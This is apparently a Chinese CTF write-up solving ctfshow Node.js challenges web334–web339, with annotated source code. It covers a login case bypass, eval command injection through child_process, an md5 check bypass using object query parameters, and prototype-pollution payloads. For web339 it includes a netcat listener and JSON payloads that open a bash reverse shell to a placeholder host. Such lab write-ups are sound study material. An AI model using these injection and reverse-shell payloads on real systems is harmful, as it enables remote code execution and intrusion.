web334
下载源码后缀改为zip打开即可
先对源码经行一个简单的分析
login.js// 引入Express框架
var express = require('express');// 创建一个路由实例
var router = express.Router();// 引入用户数据,假设user模块导出的是一个包含用户项的对象
var users = require('../modules/user').items;// 定义一个查找用户的函数,接受用户名和密码作为参数
var findUser = function(name, password){// 使用Array.find方法在用户数据中查找符合条件的用户return users.find(function(item){// 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};/* 处理登录请求的路由。客户端发送POST请求到这个路由时,会执行以下逻辑 */
router.post('/', function(req, res, next) {res.type('html'); // 设置响应的内容类型为HTML// 假设是一个标志位或秘钥,通常用来做登录成功后的验证或提示var flag = 'flag_here';// 获取当前会话var sess = req.session;// 使用findUser函数查找用户var user = findUser(req.body.username, req.body.password);// 如果找到用户if(user){// 重新生成会话req.session.regenerate(function(err) {if(err){// 如果会话生成失败,返回登录失败的响应return res.json({ret_code: 2, ret_msg: '登录失败'}); }// 设置会话的登录用户信息req.session.loginUser = user.username;// 返回登录成功的响应,并携带flagres.json({ret_code: 0, ret_msg: '登录成功', ret_flag: flag}); });} else {// 如果未找到用户,返回账号或密码错误的响应res.json({ret_code: 1, ret_msg: '账号或密码错误'});}
});// 导出路由,以便在其他地方使用
module.exports = router;------------
user.jsmodule.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};
比较重要的函数
var findUser = function(name, password){// 使用Array.find方法在用户数据中查找符合条件的用户return users.find(function(item){// 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
代码解析
函数定义 (findUser):
findUser 是一个匿名函数,被赋值给变量 findUser。它接受两个参数:name(用户名)和 password(密码)。查找用户 (users.find):
users 是一个用户列表,假设是一个数组,其中每个元素都是一个用户对象。
Array.find 方法用于遍历数组中的元素,并返回第一个满足条件的元素。如果没有找到满足条件的元素,则返回 undefined。查找条件 (function(item)):
find 方法中的回调函数会对数组中的每个元素执行一次,它的参数 item 代表当前遍历到的用户对象。
查找条件是:用户名 name 不是字符串 "CTFSHOW",且 item 对象的 username 属性等于 name 参数的全大写形式,并且 password 属性等于传入的 password 参数。
很明显只要登陆成功就给flag
不能用CTFSHOW用户
但是你输入ctfshow也会给你变为CTFSHOW
即可登陆成功
web335
进入后查看源码得到提示
很明显提示我们执行命令
官方有很多命令
eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()
解释
导入 child_process 模块:require("child_process") 用于导入 Node.js 的 child_process 模块。
执行 ls 命令:spawnSync('ls', ['.']) 同步执行 ls 命令,这里的参数 ['.'] 表示列出当前目录(.)的内容。
获取标准输出:.stdout 访问子进程的标准输出,它是一个缓冲区(Buffer)对象。
.toString() 方法将缓冲区转换为字符串,使输出内容可读。
eval=require('child_process').execSync('ls').toString()
eval=require('child_process').execSync('cat fl00g.txt').toString()
这个可以不进行最后的转换
解释:
execSync 返回的是一个 Buffer 对象,Buffer 是 Node.js 中用于处理二进制数据的类。即使不进行转换,也可以直接输出 Buffer 对象,Node.js 会自动将其转换为字符串显示在控制台。
直接输出 Buffer 对象:当你使用 console.log 打印 Buffer 对象时,Node.js 会将其自动转换为字符串形式,并显示在控制台上。这样,你也能看到 ls 命令的执行结果。
为何转换为字符串:虽然 Buffer 对象在控制台上会自动显示为字符串,但在实际的编程中,通常会将 Buffer 转换为字符串以便进行进一步处理。使用 toString() 方法可以确保你得到的是正确编码的字符串,并能够在代码中以字符串的方式进行处理。
web336
把上一题的execSync过滤了
但是还可以用
eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()
web337
给了题目
var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;
很明显只要能过
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))
就能拿到flag
a && b && a.length===b.length && a!==b
这些传数组就行
但是后面
md5(a+flag)===md5(b+flag)需要动动脑子
如果你直接a[]=1&b[]=2
就相当于a=[1]&b=[2]
很明显绕不过md5(a+flag)===md5(b+flag)
在 JavaScript 中,当你将一个数组与字符串进行连接时,数组会被隐式转换为字符串。对于数组对象,这种转换会调用数组的 toString() 方法。数组的 toString() 方法会将数组的所有元素转换为字符串并用逗号分隔,然后返回生成的字符串。代码解释
javascript
复制代码
let a = [2];
console.log(a + "flag{xxx}");
数组 a:数组 a 包含一个元素 2。
连接字符串:当数组 a 与字符串 "flag{xxx}" 进行连接时,数组 a 会被转换为字符串 "2"。因此,最终的输出是 "2flag{xxx}"。
当我们传入a[a]=1&b[b]=2
经过
req.query.a
req.query.b
就变成了
{'a':'1'}
这样就可以成功绕过
web338
下载源码
看app.py
再
很明显的原型链污染
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});
要使secert.ctfshow===36dboy
就可以拿到flag
我们只需要通过user进行污染即可
{"a": 1, "__proto__": {"ctfshow": "36dboy"}}
原型链污染的原理看这里和这里
web339
这一题的login.js
if(secert.ctfshow===flag)
而flag的值我们也不知道所以不能像上题一样直接改ctfshow的值来通过了
但是这一题多了一个api.js
里面有一个query是未定义的,其会向其原型找,那么通过污染原型构造恶意代码即可rce。
监听端口
nc -lvvp 9999
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/9999 0>&1\"')"}}
在/login进行污染
再访问一下/api
即可
查看login.js即可
还有一个非预期解
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
index发包再api发包
这有详解
在更新.....